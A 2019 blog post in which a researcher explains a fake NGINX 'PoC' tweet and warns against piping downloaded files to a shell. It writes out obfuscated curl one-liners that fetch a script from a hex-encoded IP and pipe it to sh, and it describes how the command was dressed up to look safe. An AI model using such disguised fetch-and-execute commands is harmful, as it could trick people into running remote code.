Paywall blocking you? Click here to reload and enjoy for free.
localhoax: A review of a realistic looking PoC and piping things to bash. UPDATED 20:20 PST // JUNE 9 2019
TL;DR — Never Pipe Files From Curl/Wget/Etc To Shells, Especially Exploits.
Here’s a quick story about a goofy joke“PoC exploit” that I created on May 31 2019. The “PoC” was quickly thrown together in response to the news that Alisa Esage Шевченко, a ZDI member (Zero Day Initiative) was about to disclose regarding an NGINX RCE condition. Since NGINX runs a lot of the world’s web servers, this was potentially going to be a very big story. But, due to delays in the “responsible disclosure” process, no further details were immediately given, per ZDI standard procedure. This left people waiting for that sweet, sweet exploit to drop any day now.
After finishing a new curl obfuscation technique I had been working on, I quote tweeted the original message from @alisaesage and “leaked a working PoC”, which included a one-liner that supposedly exploited the condition. It was complete bullshit, and I expected to get called out immediately by a few friends and maybe get a few RTs. No big deal.
I had absolutely zero clue the tweet would take off in the manner in which it did. Amazingly, still at this moment (June 1 5AM PST) not very many people realize it’s fake. Many are still just Retweeting it without testing, let alone seeing the neat color changing ASCII that it produces.
In a very real way, this is much the same way a web browser works. It receives code via a text channel, and then performs actions based on the code. The nice part about this code is that it’s just echo commands and colors changing (depending on your term type). A malicious actor could easily have made this a connect back shell or worse. I think it’s really important to stress again: don’t pipe stuff to bash.
Another piece of this puzzle is the sleight of shell part. To back up a minute, netspooky, dnz, myself and others from the Thugcrowd team had been playing with various curl obfuscation techniques because, well, that’s fun stuff… and we’re geeks. netspooky and dnz had found a few methods that looked really good to me, so I joined in the fun and started trying to integrate IP-to-decimal conversions into the mix. It turns out, there was also a way to convert IPs to hex. Better still, curl and most other NIX tools are totally happy to parse and use hex IPs! So, it just became a game of making the most convincing and safe looking command line possible. I eventually landed on this:
curl -gsS https://VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00\<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
In reality, it could have easily just been this:
curl -s https://google.com:443/%00/nginx/legit.so -O 0x0238f06a|sh
Does it look as exploityish as the first one, though?
SOCIO-ELECTRONIC ENGINEERING (S.E.E.) — More than just phishing.
Safety and familiarity was the major part of this experiment that I believe led to it’s success. The one-liner command heavily implied safety by referencing “127.0.0.1" (aka localhost), in which localhost is notorious for being safe and never leaving your local machine.
Familiarity was the other big component of the experiment. Since the audience was mostly security conscious individuals, it was important to build parts of this to look and feel familiar, and thus safer. Grabbing parts of old exploit concepts and mashing them together in a semi-plausible way proved pretty successful.
Here’s the breakdown of the one-liner. Everything in this list is cosmetic. Almost none of it was required.
The required switches and components? “-s”, “-O 0x0238f06a”, “|sh” and a web server. The web server was controlled by a non-malicious party that served ASCII art via “echo” commands in a script, contained in index.html. Once the end-user willfully ran the full command with the “|sh” in the middle, the index.html was interpreted and executed. Luckily, nobody controlling the web server was malicious.
- ../../../%00 :: Mimicked directory traversal.
- ngx_stream_module.so :: Filepath to random NGINX module.
- “ /bin/sh%00\<’protocol:TCP’ ” :: to imply we are executing /bin/sh on the target machine and piping the output to a TCP channel.
- -O 0x0238f06a#PLToffset ← The Secret Sauce, mixed with #PLToffset to give the appearance of a memory offset somehow contained in the PLT
- |sh; ← The only other important piece. We needed the pipe to sh/bash to execute the incoming code from the attacker web server, listening on 0x0238f06a (2.56.240.x)
- nc /dev/tcp/localhost :: Completely useless. other than the |sh. the netcat points to /dev/tcp/localhost to again look safe, but in reality it doesn’t even do a single thing, for looks only.
I think I spend to much time thinking about these things…
WEB SERVER CONFIGURATIONS
Since a vast majority of my followers are infosec/hackers, I decided to make the web server a little resistant to investigation, purely just to give you guys something fun to do (also it was fun setting it up :P). I’m not going to list everything right now, because the exhibit/experiment is still running, but here’s a few things that the server is doing:
- Actively monitoring for certain types of social media sharing and displays different looking thumbnail previews to entice clicking
- Forwards Chrome/Mozilla/Safari/etc to various Tweets instead of displaying the shell script.
- Monitors for OVERT signs of intrusion attempts/brute forcing and sends you annoying stuff.
- Installs persistent trojan and BIOS rootkit on all machines that visit with a normal browser. (OK OBVIOUS JOKE)
The only goal here was to teach myself some advanced Apache rules, specifically the cool forwarding rules available, and so I thought why not? :)
NGINX EXPLOIT (The Real One!)
Please follow @alisaesage on Twitter and keep an eye on ZDI’s wonderful work on a very real set of vulnerabilities and exploit conditions for NGINX. Their work always fascinates me, and I can’t thank Alisa enough for her patience with all of the mentions and notifications my silly tweet caused on her account this morning. Luckily, it did some good and helped raise awareness about the NGINX vulnerabilities, as well as the curl abuse issues.
Alisa Esage Шевченко’s Twitter: https://twitter.com/alisaesage
If you have any concerns, questions, comments, or feedback I’d love to hear about it! Send me a message on Twitter, I’m at @notdan
-Notdan (ok maybe Dan.)